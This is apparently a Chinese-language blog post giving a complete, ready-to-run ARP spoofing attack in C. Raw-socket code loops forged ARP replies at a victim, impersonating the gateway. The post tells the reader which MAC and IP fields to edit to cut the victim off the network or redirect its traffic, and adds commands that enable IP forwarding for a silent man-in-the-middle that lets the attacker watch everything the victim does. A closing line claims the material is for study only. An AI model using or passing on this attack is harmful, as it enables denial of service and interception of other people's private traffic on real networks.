一、步驟:
攻擊者: IP:192.168.136.131 MAC: {0x00, 0x0c, 0x29, 0xab, 0x9a, 0xd7}
被攻擊者:IP: 192.168.136.132 MAC: {0x00, 0x0c, 0x29, 0xd1, 0xab, 0x11}
gateway: IP:192.168.136.2 MAC:{0x00,0x50,0x56,0xf0,0xdd,0x74}
攻擊者發送arp封包給被攻擊者,告知被攻擊者 錯誤的gateway MAC address
![]() |
| wireshark |
![]() |
| 點圖可放大 |
四、程式碼
請參考前一篇文章的標頭檔
記得使用root權限執行!
如果單純只是想讓對方斷網,請把主程式所有的MAC_SOURCE改成 MAC_SPOOFING
如果想把封包導向自己,就使用 MAC_SOURCE(記得改成自己的MAC)
IP_TRICK 記得給成gateway的IP
MAC_TARGET記得改成被攻擊者的MAC
IP_TARGET 記得改違被攻擊者的IP
#include "arp.h"
unsigned char MAC_SPOOFING[6]={0x00, 0x00, 0x00, 0x00, 0x00, 0x00};//fix me
unsigned char MAC_SOURCE[6]={0x00, 0x0c, 0x29, 0xab, 0x9a, 0xd7};//fix me
//冒充的IP (ex: gateway)
#define IP_TRICK "192.168.136.2"//fix me
//要攻擊的MAC
unsigned char MAC_TARGET[6]={0x00, 0x0c, 0x29, 0xd1, 0xab, 0x11};//fix me
//要攻擊的IP
#define IP_TARGET "192.168.136.132"//fix me
int main(void)
{
int sfd, len;
struct arp_packet arp;
struct in_addr inaddr_sender, inaddr_receiver;
struct sockaddr_ll sl;
sfd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if(-1 == sfd)
{
Debug_printf("socket");
}
memset(&arp, 0, sizeof(arp));
//padding package
memcpy(arp.mac_target,MAC_TARGET,sizeof(MAC_TARGET));
memcpy(arp.mac_source, MAC_SOURCE,sizeof(MAC_SOURCE));
arp.ethertype = htons(ETH_P_ARP);
arp.hw_type = htons(0x1);
arp.proto_type = htons(ETH_P_IP);
arp.mac_addr_len = ETH_ALEN;
arp.ip_addr_len = 4;
arp.operation_code = htons(0x2);//0x1表示ARP請求包,0x2表示應答包
memcpy(arp.mac_sender, MAC_SOURCE,sizeof(MAC_SOURCE));
inet_aton(IP_TRICK, &inaddr_sender);
memcpy(&arp.ip_sender, &inaddr_sender, sizeof(inaddr_sender));
memcpy(arp.mac_receiver,MAC_TARGET,sizeof(MAC_TARGET));
inet_aton(IP_TARGET, &inaddr_receiver);
memcpy(&arp.ip_receiver, &inaddr_receiver, sizeof(inaddr_receiver));
memset(&sl, 0, sizeof(sl));
sl.sll_family = AF_PACKET;
sl.sll_ifindex = IFF_BROADCAST;
while(1)
{
len = sendto(sfd, &arp, sizeof(arp), 0, (struct sockaddr*)&sl, sizeof(sl));
if(-1 == len)
{
Debug_printf("sendto");
}
else
printf("sendto over \n");
sleep(2);
//usleep(1000); //更快的攻擊
}
return 0;
}
在這邊的攻擊是我們告知被攻擊者錯誤的gateway MAC address,如果我們告知被攻擊者的MAC Addres是攻擊者的MAC Addres,這時候被攻擊者的封包則會傳送給攻擊者!但是如果單純只是把被攻擊者的封包轉向給自己這樣沒有用,被攻擊者還是不能上網,對方早晚很容易就可以察覺到有問題,所以攻擊者要開啟ip_forward,這樣被攻擊者還是可以正常上網,但是封包都會先經過你這邊!!
echo 1 > /proc/sys/net/ipv4/ip_forward如果上面不能使用可以使用 將裡面的數字改成1
vim /proc/sys/net/ipv4/ip_forward確認一下 cat /proc/sys/net/ipv4/ip_forward 是不是顯示1 ~
這時候就很恐怖了,被攻擊者在自己電腦所做的事情一舉一動都會被看到,所以建議每個人電腦還是要安裝毒軟體或者防火牆阿!!!
(以上僅供學習學術用途,請勿做非法的事情...)







沒有留言:
張貼留言
俗話說
凡走過必留下痕跡,凡住過必留下鄰居
凡爬過必留下樓梯,凡來過必留下IP
看過文章之後歡迎留下您寶貴的意見喔!